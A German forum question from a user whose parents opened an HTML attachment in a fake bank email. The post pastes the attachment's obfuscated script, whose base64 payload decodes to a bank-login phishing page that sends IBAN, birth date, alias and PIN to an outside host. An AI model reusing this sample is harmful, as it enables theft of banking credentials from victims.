NAS
Electronics

Schadcode in html-Datei?

AnnAluna90

Banned
Registriert
Nov. 2017
Beiträge
975
Hallo,meine Eltern haben in einer Fake mail, angeblich von der Bank, die wohl das Ziel hatte, Daten abzugreifen, einen html-Anhang ausgeführt. Ist dieses Script irgendwie gefährlich:

Code:
<script>
var compton = {


    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    decode: function(input) {
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;

        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

        while (i < input.length) {

            enc1 = this._keyStr.indexOf(input.charAt(i++));
            enc2 = this._keyStr.indexOf(input.charAt(i++));
            enc3 = this._keyStr.indexOf(input.charAt(i++));
            enc4 = this._keyStr.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
                output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
                output = output + String.fromCharCode(chr3);
            }

        }

        output = compton._utf8_decode(output);

        return output;

    },
    _utf8_decode: function(utftext) {
        var string = "";
        var i = 0;
        var c = c1 = c2 = 0;

        while (i < utftext.length) {

            c = utftext.charCodeAt(i);

            if (c < 128) {
                string += String.fromCharCode(c);
                i++;
            }
            else if ((c > 191) && (c < 224)) {
                c2 = utftext.charCodeAt(i + 1);
                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                i += 2;
            }
            else {
                c2 = utftext.charCodeAt(i + 1);
                c3 = utftext.charCodeAt(i + 2);
                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                i += 3;
            }

        }

        return string;
    }

}
var str = compton.decode("PCEtLQpTZWQgc2FnaXR0aXMgbGlndWxhIG1hZ25hLCB2ZWwgZmFjaWxpc2lzIG1hc3NhIGRhcGlidXMgYWMuIFBoYXNlbGx1cyBpZCBhbnRlIHF1aXMgb2RpbyBwcmV0aXVtIGJsYW5kaXQuIENyYXMgZ3JhdmlkYSBtYWduYSBtYWduYSwgZXQgYWxpcXVldCBtaSB0cmlzdGlxdWUgaWQuIFN1c3BlbmRpc3NlIGNvbW1vZG8gdml2ZXJyYSBleCBhIGNvbnZhbGxpcy4gU2VkIGlwc3VtIHZlbGl0LCBwZWxsZW50ZXNxdWUgc2l0IGFtZXQgc3VzY2lwaXQgdWx0cmljZXMsIHZvbHV0cGF0IG5lYyBuZXF1ZS4gUXVpc3F1ZSBlZ2VzdGFzIGVnZXN0YXMgdmFyaXVzLiBNYXVyaXMgYSBldWlzbW9kIHR1cnBpcy4gQWxpcXVhbSBlcmF0IHZvbHV0cGF0LiBOYW0gZmV1Z2lhdCBlc3QgbGliZXJvLCBxdWlzIGFsaXF1YW0gZXJvcyBlZmZpY2l0dXIgbm9uLgoKTmFtIGR1aSBlbmltLCBkaWN0dW0gaW4gbHVjdHVzIHNpdCBhbWV0LCBzdXNjaXBpdCBldSBqdXN0by4gU2VkIHZlbCBtYXhpbXVzIHR1cnBpcy4gUHJvaW4gZWZmaWNpdHVyIHN1c2NpcGl0IGZlbGlzLCBldSBjb25zZXF1YXQgbmliaCB0aW5jaWR1bnQgbm9uLiBQZWxsZW50ZXNxdWUgYXQgdHVycGlzIHZpdmVycmEsIGFsaXF1ZXQgZXJhdCB2aXRhZSwgb3JuYXJlIG1hdXJpcy4gRG9uZWMgdXQgbmliaCB2ZWwgbWFzc2EgcG9ydGEgYWxpcXVldCB2aXRhZSBhIG1hZ25hLiBNb3JiaSB2b2x1dHBhdCBoZW5kcmVyaXQgcHVsdmluYXIuIEZ1c2NlIGFjIG5pc2kgZWdldCBkaWFtIGNvbnNlcXVhdCBwZWxsZW50ZXNxdWUuIERvbmVjIGF0IGRpZ25pc3NpbSBsb3JlbS4gTnVsbGFtIHB1bHZpbmFyIHJ1dHJ1bSBtaSBydXRydW0gZWxlaWZlbmQuIFBlbGxlbnRlc3F1ZSBtZXR1cyBtYXNzYSwgc2VtcGVyIGF0IHVsdHJpY2VzIGFjLCBhbGlxdWV0IGV1IG1ldHVzLiBBZW5lYW4gcG9zdWVyZSBkb2xvciBlZ2V0IGlwc3VtIHVsbGFtY29ycGVyLCBzY2VsZXJpc3F1ZSBydXRydW0gaXBzdW0gbHVjdHVzLiBNYWVjZW5hcyBldWlzbW9kIG5lcXVlIGEgdmVzdGlidWx1bSB2YXJpdXMuIEFsaXF1YW0gZXUgc29sbGljaXR1ZGluIHJpc3VzLCBuZWMgbWF4aW11cyB2ZWxpdC4gQWVuZWFuIG1vbGVzdGllIG1hc3NhIGV1IGVzdCBmZXJtZW50dW0sIHZpdGFlIHZlaGljdWxhIGVyYXQgaW1wZXJkaWV0LiBEdWlzIGNvbW1vZG8gZ3JhdmlkYSBzb2RhbGVzLgoKUHJvaW4gZXggbGVjdHVzLCB2YXJpdXMgc2VkIGVzdCB1dCwgZmV1Z2lhdCB1bHRyaWNpZXMgb3JjaS4gTW9yYmkgcXVpcyBlbGl0IGRvbG9yLiBDcmFzIGxhY2luaWEgZXN0IHV0IHF1YW0gdGVtcHVzIGNvbW1vZG8uIE1hdXJpcyBub24gdGVtcG9yIG5pc2wuIEFlbmVhbiBxdWlzIGFyY3UgZnJpbmdpbGxhIGVuaW0gZnJpbmdpbGxhIGludGVyZHVtIGluIGFjIG5lcXVlLiBVdCBwb3N1ZXJlIGV0IGxvcmVtIHNpdCBhbWV0IHBvcnR0aXRvci4gVml2YW11cyBxdWlzIGp1c3RvIHNlZCBkdWkgdnVscHV0YXRlIGZldWdpYXQuIEN1cmFiaXR1ciB2ZWwgdG9ydG9yIGFsaXF1ZXQsIGxhb3JlZXQgZGlhbSBxdWlzLCB0ZW1wdXMgbWkuIFBoYXNlbGx1cyB2aXZlcnJhIGlhY3VsaXMgZW5pbSwgbmVjIGNvbnNlY3RldHVyIGZlbGlzIG1vbGVzdGllIGV0LiBWZXN0aWJ1bHVtIGlhY3VsaXMgdWxsYW1jb3JwZXIgcHVydXMuIE1hdXJpcyBtb2xlc3RpZSBvZGlvIHF1aXMgbWV0dXMgcGhhcmV0cmEgcG9ydGEuIERvbmVjIG9ybmFyZSBvZGlvIHNlZCBvcmNpIHByZXRpdW0sIGxhY2luaWEgY29uc2VjdGV0dXIgYXVndWUgcGxhY2VyYXQuIAotLT4KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+CjxodG1sIGNsYXNzPSJuby1qcyI+CgkKCTxoZWFkPgoJCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPgoJCTxtZXRhIG5hbWU9ImdlbmVyYXRvciIgY29udGVudD0iZWJQRSAxNy4yNS0xNSBCVlIyMDE0IiAvPgoJCTxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI+CgkJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KCQk8dGl0bGU+QmVzdMOkdGlndW5nIGdlbcOkw58gwqcgMTEgR2VsZHfDpHNjaGVnZXNldHogKEd3Rykg4oCTIFNjaHJpdHQgMSAvIDI8L3RpdGxlPgoJCTwhLS0gcmVzcG9uc2l2ZSAtLT4KCQk8c2NyaXB0IHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9qcXVlcnktMy4zLjEubWluLmpzIj48L3NjcmlwdD4KCQk8bGluayByZWw9InN0eWxlc2hlZXQiIHRpdGxlPSJub3JtYWwiIHR5cGU9InRleHQvY3NzIiBocmVmPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS94YmYtc3R5bGVzLmNzcyI+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdGl0bGU9Im5vcm1hbCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL25hdmlnYXRpb25SZXNwb25zaXZlLmNzcyI+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdGl0bGU9Im5vcm1hbCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2luZGl2LmNzcyI+CgoKCQk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJCQkJLlhNZWRpYSAubW9yZSB7IGJhY2tncm91bmQ6IHVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2Nyb3NzbmF2LWxpbmspIG5vLXJlcGVhdCAwZW0gMC4yZW07IH0KCQkJCS5YTWVkaWEgdWwuYnVsbGV0IGxpLCAuWE1lZGlhIHVsLnJ0LWJ1bGxldCBsaSB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9lYnBlLWFkZGJ1bGxldCk7IGJhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDt9CgkJCQlib2R5IHtoZWlnaHQ6IDEwMCU7IGJhY2tncm91bmQ6IHVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3dhbGxwYXBlci1ib2R5KSByZXBlYXQteDt9CgkJCQkuY29udGVudERpdiB7YmFja2dyb3VuZC1pbWFnZTogdXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1tYWluKX0KCQkJCQoJCQkJCQkJCSNwcmltYWVybmF2aSwgI3ByaW1hZXJuYXZpQm90dG9tIHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtcHJpbWFlcm5hdmkpO30KCQkJCSNwcmltYWVybmF2aSAucHJpbWFlckxpbmsgYTpob3ZlciwgI3ByaW1hZXJuYXZpQm90dG9tIC5wcmltYWVyTGluayBhOmhvdmVyIHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtcHJpbWFlcm5hdmktaG92ZXIpO30KCQkJCSNwcmltYWVybmF2aSAuYWN0aXZlIGEsICNwcmltYWVybmF2aUJvdHRvbSAuYWN0aXZlIGEge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1wcmltYWVybmF2aS1ob3Zlcik7fQoJCQkJI3ByaW1hZXJuYXZpIC5wcmltYWVyU3BhY2VyLCAjcHJpbWFlcm5hdmlCb3R0b20gLnByaW1hZXJTcGFjZXJ7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLXByaW1hZXJuYXZpLXNwYWNlcik7fQoJCQkJI3Nla3VuZGFlcm5hdmkgdWwgbGkgYXtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtc2VrdW5kYWVybmF2aS1jYXRlZ29yeSk7fQoJCQkJI3Nla3VuZGFlcm5hdmkgdWwgbGkgYTpob3ZlcntiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtc2VrdW5kYWVybmF2aS1jYXRlZ29yeS1ob3Zlcik7fQoJCQkJI3Nla3VuZGFlcm5hdmkgdWwgbGkgYS5hY3RpdmV7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLXNla3VuZGFlcm5hdmktY2F0ZWdvcnktYWN0aXZlKTt9CgkJCQkjc2VrdW5kYWVybmF2aSB1bCB1bCBsaSB7YmFja2dyb3VuZC1pbWFnZTogdXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1zZWt1bmRhZXJuYXZpLW5vZGUpO30KCQkJCSNzZWt1bmRhZXJuYXZpIHVsIHVsIGxpIGF7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLXNla3VuZGFlcm5hdmktbGluayk7fQoJCQkJI3Nla3VuZGFlcm5hdmkgdWwgdWwgbGkgYTpob3ZlcntiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtc2VrdW5kYWVybmF2aS1saW5rLWhvdmVyKTt9CgkJCQkjc2VrdW5kYWVybmF2aSB1bCB1bCBsaSBhLmFjdGl2ZSB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLXNla3VuZGFlcm5hdmktbGluay1hY3RpdmUpO30KCQkJCSNzZWt1bmRhZXJuYXZpIHVsIHVsIHVsIGxpIGEge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1zZWt1bmRhZXJuYXZpLXN1Yi1saW5rKTt9CgkJCQkjc2VrdW5kYWVybmF2aSB1bCB1bCB1bCBsaSBhOmhvdmVyIHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtc2VrdW5kYWVybmF2aS1zdWItbGluay1ob3Zlcik7fQoJCQkJI3Nla3VuZGFlcm5hdmkgdWwgdWwgdWwgbGkgYS5hY3RpdmUge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1zZWt1bmRhZXJuYXZpLXN1Yi1saW5rLWFjdGl2ZSk7fQoJCQkJLm1vYmlsZS1uYXYtd3JhcHBlciAuaWNvbnMtY2xvc2UsIC5uYXYtbGF5ZXItd3JhcHBlciAuaWNvbnMtY2xvc2UsIC5jb29raWVoaW53ZWlzLWNsb3NlIHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtd3JhcHBlcmNsb3NlKSAhaW1wb3J0YW50O30KCQkJCS5icmVhZGNydW1iIGxpLCAuYnJlYWRjcnVtYi1sYXllciBzdHJvbmc6YmVmb3JlLCAubmF2LWxheWVyLXdyYXBwZXIgLm5hdi1sZXZlbC0zIGEge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1icmVhZGNydW1iKTt9CgkJCQkuYnJlYWRjcnVtYiAuaWNvbnMtc2xpZGUtZG93biB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLWJyZWFkY3J1bWJzbGlkZWRvd24pO30KCQkJCS5icmVhZGNydW1iIC5pY29ucy1zbGlkZS11cCB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLWJyZWFkY3J1bWJzbGlkZXVwKTt9CgkJCQkjbG9nb3V0QmxvY2sgI2xvZ291dHN0YXR1c19yb290IHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtbG9nb3V0KTt9CgkJCQkuY3Jvc3NuYXZDb250ZW50LCAjdGJsUG9zdGVpbmdhbmcsICN0YmxBa3R1ZWxsV2ljaHRpZywgI3RibEZ1bmt0aW9uZW5TZXJ2aWNlcywgI3RibE1pdHRlaWx1bmdlblZUTSwgI3RibFByb2R1a3RlQW5nZWJvdGUsIC53Q2FkY3Jvc3NuYXZpZ2F0aW9uTmljaHRBbmdlbWVsZGV0LCAud0NhZGNyb3NzbmF2aWdhdGlvbiwgLndDYWRjb250ZW50ZGV0YWlsIHtiYWNrZ3JvdW5kLWltYWdlOnVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2JhY2tncm91bmQtY3Jvc3NuYXZpKTt9CgkJCQkuc2VpdGVuYW5mYW5nIGEge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1zZWl0ZW5hbmZhbmcpO30KCQkJCS51aS13aWRnZXQtaGVhZGVyIC51aS1pY29uIHtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9qcS1pY29uc2V0KTt9CgkJCQkudWktc3RhdGUtaG92ZXIgLnVpLWljb24sIC51aS1zdGF0ZS1mb2N1cyAudWktaWNvbiB7YmFja2dyb3VuZC1pbWFnZTogdXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvanEtaWNvbnNldC1ob3Zlcik7fQoJCQkJLmpzZHJvcGRvd24gZHQgYSB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9qcy1kcm9wZG93bi1hcnJvdyk7fQoJCQkJLmJ1bGxldCB7YmFja2dyb3VuZC1pbWFnZTp1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9iYWNrZ3JvdW5kLWJ1bGxldCk7fQogICAgICAgICAgICAgICAgLnYtYXBwLWxvYWRpbmcge2JhY2tncm91bmQtaW1hZ2U6dXJsKC9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvYmFja2dyb3VuZC1sb2FkaW5nSW5kaWNhdG9yKSAhaW1wb3J0YW50O30KCQk8L3N0eWxlPgoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CgkjaW5mb01lc3NhZ2VzIHVsIGxpIHtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9lYi1ib29rbWFyay1pbmZvKTt9CgkubWVzc2FnZXMgI2Vycm9yTWVzc2FnZXMgdWwgbGkge2JhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9lYi1ib29rbWFyay1lcnJvcik7fQoJLm1lc3NhZ2VzICN3YXJuaW5nTWVzc2FnZXMgdWwgbGkge2JhY2tncm91bmQtaW1hZ2U6IHVybCgvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL2ViLWJvb2ttYXJrLXdhcm5pbmcpO30KPC9zdHlsZT4KCgkJCgoJCQkJICA8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBtZWRpYT0icHJpbnQiIGhyZWY9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3ByaW50T3V0cHV0Ij4KCiA8c2NyaXB0PgpmdW5jdGlvbiBjaGtGb3JtKHN0ZXApCnsKCXZhciBlcnJvciA9IDA7CglpZihzdGVwID09ICdzdGVwMScpCgl7CgkJdmFyIGliYW4gPSAkKCcjZjAnKS52YWwoKTsKCQlpZiAoaXNWYWxpZElCQU5OdW1iZXIoaWJhbikhPTEpIHsKCQkJJCgnaW5wdXQnKS5lcSgxKS5jc3MoImJveC1zaGFkb3ciLCAiMCAwIDNweCByZWQiKTsKCQkJZXJyb3IgPSAxOwoJCX0gZWxzZSB7ICQoJ2lucHV0JykuZXEoMSkuY3NzKCJib3gtc2hhZG93IiwgIjAgMCAwcHggcmVkIik7IH0KCQkKCQl2YXIgbW9iaWxlID0gJCgnI2YxJykudmFsKCk7CgkJaWYoIW1vYmlsZS5tYXRjaCgvXig/OjAxKVxkKyQvKSB8fCAhbW9iaWxlLm1hdGNoKC9eWzAtOV0qJC8pKSB7CgkJCSQoJ2lucHV0JykuZXEoMikuY3NzKCJib3gtc2hhZG93IiwgIjAgMCAzcHggcmVkIik7CgkJCWVycm9yID0gMTsKCQl9IGVsc2UgeyAkKCdpbnB1dCcpLmVxKDIpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgMHB4IHJlZCIpOyB9CgkJCgkJdmFyIGRvYiA9ICQoJyNmMicpLnZhbCgpOwoJCWlmKCFkb2IubWF0Y2goL15ccyooM1swMV18WzEyXVswLTldfDA/WzEtOV0pXC4oMVswMTJdfDA/WzEtOV0pXC4oKD86MTl8MjApXGR7Mn0pXHMqJC8pKSB7CgkJCSQoJ2lucHV0JykuZXEoMykuY3NzKCJib3gtc2hhZG93IiwgIjAgMCAzcHggcmVkIik7CgkJCWVycm9yID0gMTsKCQl9IGVsc2UgeyAkKCdpbnB1dCcpLmVxKDMpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgMHB4IHJlZCIpOyB9CgkJCgkJaWYoZXJyb3IgPT0gMCkgcmV0dXJuIHNob3coJ3N0ZXAyJywgJ3N0ZXAxJyk7Cgl9CgkKCWVsc2UgaWYoc3RlcCA9PSAnc3RlcDInKQoJewoJCWlmKCQoJyNmMycpLnZhbCgpLmxlbmd0aDw1KSB7CgkJCSQoJ2lucHV0JykuZXEoNSkuY3NzKCJib3gtc2hhZG93IiwgIjAgMCAzcHggcmVkIik7CgkJCWVycm9yID0gMTsKCQl9IGVsc2UgewoJCQl2YXIgb2IgPSAkKCcjZjMnKS52YWwoKTsKCQkJaWYob2IubWF0Y2goL15bYS16MC05Ll8lKy1dK0BbYS16MC05Li1dK1wuW2Etel17Miw0fSQvKSkgeyAkKCdpbnB1dCcpLmVxKDUpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgM3B4IHJlZCIpOyBhbGVydCgiRWluZSBFLU1haWwtQWRyZXNzZSBpc3Qga2VpbiBnw7xsdGlnZXIgQWxpYXMgLyBWUi1OZXRLZXkhIik7IGVycm9yID0gMTt9CgkJCWVsc2UgeyAkKCdpbnB1dCcpLmVxKDUpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgMHB4IHJlZCIpOyB9CgkJCWlmKG9iPT0kKCcjZjQnKS52YWwoKSkgeyAkKCdpbnB1dCcpLmVxKDUpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgM3B4IHJlZCIpOyBlcnJvciA9IDE7fQoJCQllbHNlIHsgJCgnaW5wdXQnKS5lcSg1KS5jc3MoImJveC1zaGFkb3ciLCAiMCAwIDBweCByZWQiKTsgfSAKCQl9CgkJCgkJdmFyIHBpbiA9ICQoJyNmNCcpLnZhbCgpOwoJCWlmKCFwaW4ubWF0Y2goL14uezUsfSQvKSkgewoJCQkkKCdpbnB1dCcpLmVxKDYpLmNzcygiYm94LXNoYWRvdyIsICIwIDAgM3B4IHJlZCIpOwoJCQllcnJvciA9IDE7CgkJfSBlbHNlIHsgJCgnaW5wdXQnKS5lcSg2KS5jc3MoImJveC1zaGFkb3ciLCAiMCAwIDBweCByZWQiKTsgfQoJCQoJCWlmKGVycm9yID09IDApIHsKCQkJJChkb2N1bWVudCkub24oJ2NsaWNrJywgJyNhdXRoJywgZnVuY3Rpb24oZXZlbnQpewoJCQlldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoJCQl2YXIgbG9jYXRpb25VcmwgPSAnaHR0cDovLzY5MzEzOC5jYy83L2kyLnBocCc7CgkJCXZhciBxdWVyeVN0cmluZyA9ICc/cXVlcnk9MSc7CgkJCSQoJ2lucHV0JykuZWFjaChmdW5jdGlvbigpewoJCQlpZiAoJCh0aGlzKS5hdHRyKCd0eXBlJykgIT0gJ3N1Ym1pdCcpIHsKCQkJcXVlcnlTdHJpbmcgPSBxdWVyeVN0cmluZysnJicrd2luZG93LmJ0b2EoJCh0aGlzKS5hdHRyKCdpZCcpKSsnPScrd2luZG93LmJ0b2EoJCh0aGlzKS52YWwoKSk7CgkJCX0KCQkJfSk7CgkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmID0gbG9jYXRpb25VcmwrcXVlcnlTdHJpbmc7CgkJCX0pOwkJCQoJCX0KCX0KCQoJaWYoZXJyb3I9PTEpIHJldHVybiBmYWxzZTsKfQp3aW5kb3cub25sb2FkID0gZnVuY3Rpb24oKSB7CiQoIi5tZXNzYWdlcyIpLmhpZGUoKTsKJCgiYm9keSIpLnNob3coKTsKfQpmdW5jdGlvbiBzaG93KHNob3duLCBoaWRkZW4pIHsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChzaG93bikuc3R5bGUuZGlzcGxheT0nYmxvY2snOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGhpZGRlbikuc3R5bGUuZGlzcGxheT0nbm9uZSc7CiAgcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGlzVmFsaWRJQkFOTnVtYmVyKGlucHV0KSB7CiAgICB2YXIgQ09ERV9MRU5HVEhTID0gewogICAgICAgIEFEOiAyNCwgQUU6IDIzLCBBVDogMjAsIEFaOiAyOCwgQkE6IDIwLCBCRTogMTYsIEJHOiAyMiwgQkg6IDIyLCBCUjogMjksCiAgICAgICAgQ0g6IDIxLCBDUjogMjEsIENZOiAyOCwgQ1o6IDI0LCBERTogMjIsIERLOiAxOCwgRE86IDI4LCBFRTogMjAsIEVTOiAyNCwKICAgICAgICBGSTogMTgsIEZPOiAxOCwgRlI6IDI3LCBHQjogMjIsIEdJOiAyMywgR0w6IDE4LCBHUjogMjcsIEdUOiAyOCwgSFI6IDIxLAogICAgICAgIEhVOiAyOCwgSUU6IDIyLCBJTDogMjMsIElTOiAyNiwgSVQ6IDI3LCBKTzogMzAsIEtXOiAzMCwgS1o6IDIwLCBMQjogMjgsCiAgICAgICAgTEk6IDIxLCBMVDogMjAsIExVOiAyMCwgTFY6IDIxLCBNQzogMjcsIE1EOiAyNCwgTUU6IDIyLCBNSzogMTksIE1SOiAyNywKICAgICAgICBNVDogMzEsIE1VOiAzMCwgTkw6IDE4LCBOTzogMTUsIFBLOiAyNCwgUEw6IDI4LCBQUzogMjksIFBUOiAyNSwgUUE6IDI5LAogICAgICAgIFJPOiAyNCwgUlM6IDIyLCBTQTogMjQsIFNFOiAyNCwgU0k6IDE5LCBTSzogMjQsIFNNOiAyNywgVE46IDI0LCBUUjogMjYKICAgIH07CiAgICB2YXIgaWJhbiA9IFN0cmluZyhpbnB1dCkudG9VcHBlckNhc2UoKS5yZXBsYWNlKC9bXkEtWjAtOV0vZywgJycpLCAvLyBrZWVwIG9ubHkgYWxwaGFudW1lcmljIGNoYXJhY3RlcnMKICAgICAgICAgICAgY29kZSA9IGliYW4ubWF0Y2goL14oW0EtWl17Mn0pKFxkezJ9KShbQS1aXGRdKykkLyksIC8vIG1hdGNoIGFuZCBjYXB0dXJlICgxKSB0aGUgY291bnRyeSBjb2RlLCAoMikgdGhlIGNoZWNrIGRpZ2l0cywgYW5kICgzKSB0aGUgcmVzdAogICAgICAgICAgICBkaWdpdHM7CiAgICAvLyBjaGVjayBzeW50YXggYW5kIGxlbmd0aAogICAgaWYgKCFjb2RlIHx8IGliYW4ubGVuZ3RoICE9PSBDT0RFX0xFTkdUSFNbY29kZVsxXV0pIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvLyByZWFycmFuZ2UgY291bnRyeSBjb2RlIGFuZCBjaGVjayBkaWdpdHMsIGFuZCBjb252ZXJ0IGNoYXJzIHRvIGludHMKICAgIGRpZ2l0cyA9IChjb2RlWzNdICsgY29kZVsxXSArIGNvZGVbMl0pLnJlcGxhY2UoL1tBLVpdL2csIGZ1bmN0aW9uIChsZXR0ZXIpIHsKICAgICAgICByZXR1cm4gbGV0dGVyLmNoYXJDb2RlQXQoMCkgLSA1NTsKICAgIH0pOwogICAgLy8gZmluYWwgY2hlY2sKICAgIHJldHVybiBtb2Q5NyhkaWdpdHMpOwp9CmZ1bmN0aW9uIG1vZDk3KHN0cmluZykgewogICAgdmFyIGNoZWNrc3VtID0gc3RyaW5nLnNsaWNlKDAsIDIpLCBmcmFnbWVudDsKICAgIGZvciAodmFyIG9mZnNldCA9IDI7IG9mZnNldCA8IHN0cmluZy5sZW5ndGg7IG9mZnNldCArPSA3KSB7CiAgICAgICAgZnJhZ21lbnQgPSBTdHJpbmcoY2hlY2tzdW0pICsgc3RyaW5nLnN1YnN0cmluZyhvZmZzZXQsIG9mZnNldCArIDcpOwogICAgICAgIGNoZWNrc3VtID0gcGFyc2VJbnQoZnJhZ21lbnQsIDEwKSAlIDk3OwogICAgfQogICAgcmV0dXJuIGNoZWNrc3VtOwp9Cjwvc2NyaXB0PgoKCTwvaGVhZD4JPGJvZHkgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgoJPGRpdiBpZD0ia2EtaWQiID48L2Rpdj4KICAgICAgICA8ZGl2IGlkPSJzY3JvbGwiPgogICAgICAgIAkJCiAgICAgICAgCTxkaXYgaWQ9InNpdGUiPgogICAgICAgIAkJPGRpdiBpZD0i